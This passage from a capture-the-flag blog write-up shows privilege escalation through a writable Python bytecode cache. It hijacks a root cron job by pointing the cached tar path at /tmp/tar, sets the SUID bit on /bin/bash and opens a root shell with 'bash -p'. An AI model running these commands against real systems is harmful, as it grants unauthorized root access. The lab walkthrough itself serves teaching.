The pycache is used when a script in the directory is run, so we might be able to inject some code here. Inspecting its contents shows that it is likely the cache for helper.py:

__pycache__/helper.cpython-310.pyc
|^@¡^A^A^@d^@S^@)^GNz^H%Y-%m-%dÚ^A_z^G.tar.gzz^L/usr/bin/tarz^D-czfz^B-C)^Kr^B^@^@^@Ú^CnowÚ^HstrftimeÚ^BosÚ^DpathÚ^DjoinÚ^HbasenameÚ
subprocessÚ^EPopenÚ^GdirnameÚ^Fremove)^DÚ file_pathÚ^Karchive_dirÚ^Lcurrent_dateÚ^Ltar_filename©^@r^R^@^@^@ú^W/opt/archiver/helper.pyÚ^Rtar_and_move_files^E^@^@^@s^H^@^@^@^N^A"^A&^A^N^Ar^T^@^@^@)^Dr^F^@^@^@r

We cannot find a crontab that uses it, so we pull in pspy to see what is going on.

Terminal window
$ ./pspy64
2026/10/22 21:45:01 CMD: UID=0 PID=81033 | /usr/sbin/CRON -f -P
2026/10/22 21:45:01 CMD: UID=0 PID=81034 | /usr/sbin/CRON -f -P
2026/10/22 21:45:01 CMD: UID=0 PID=81035 | python3 /opt/archiver/app.py
[...]
2026/10/22 21:46:01 CMD: UID=0 PID=81044 | /usr/sbin/CRON -f -P
2026/10/22 21:46:01 CMD: UID=0 PID=81046 | python3 /opt/archiver/app.py
2026/10/22 21:46:01 CMD: UID=0 PID=81045 | /bin/sh -c python3 /opt/archiver/app.py

We can see that root (UID=0) runs /opt/archiver/app.py.

Instead of compiling a perfect copy of the pycache, we just do a string replacement so that the tar path points to our own /tmp/tar. That way, instead of running /usr/bin/tar, root will run ours in /tmp/tar. Since both strings are the same length we can safely substitute them without breaking the compilation.

Terminal window
sed -i 's|/usr/bin/tar|/tmp/tar|' helper.cpython-310.pyc

And we create /tmp/tar:

/tmp/tar
chmod u+s /bin/bash

This gives bash a suid bit, allowing us to spawn it as root. Make it runnable:

Terminal window
chmod +x /tmp/tar

Now the only thing to do is trigger the helper function. For this the threshold must be reached:

threshold_date = datetime.now() - timedelta(days=3*365)

For this we can just touch a file with an older date.

Terminal window
$ touch -d '2000-01-01 00:00:00.000000000 +0000' /backup/old

This should trigger the helper function and thus call our injected script. Now we see that bash got its suid bit:

Terminal window
$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash

We launch it with -p to preserve its effective UID, i.e. keeping the root UID for us.

Terminal window
$ /bin/bash -p
bash-5.1# id
uid=1001(svc_backup) gid=1001(svc_backup) euid=0(root) groups=1001(svc_backup)

After which we get the flag:

Terminal window
# cat /root/flag.txt

Lessons learned

  • BitLocker Windows disk can be mounted on Linux
  • Windows secrets are layered: LSA secrets -> DPAPI -> masterkey -> credential
  • SFTP-jails are just SSH interface with a forced commando.
  • Writable __pycache__ can be abused to get RCE as the main.py script
My avatar

Thanks for reading my blog post! Feel free to check out my other posts or contact me via the social links in the footer.


More Posts

Comments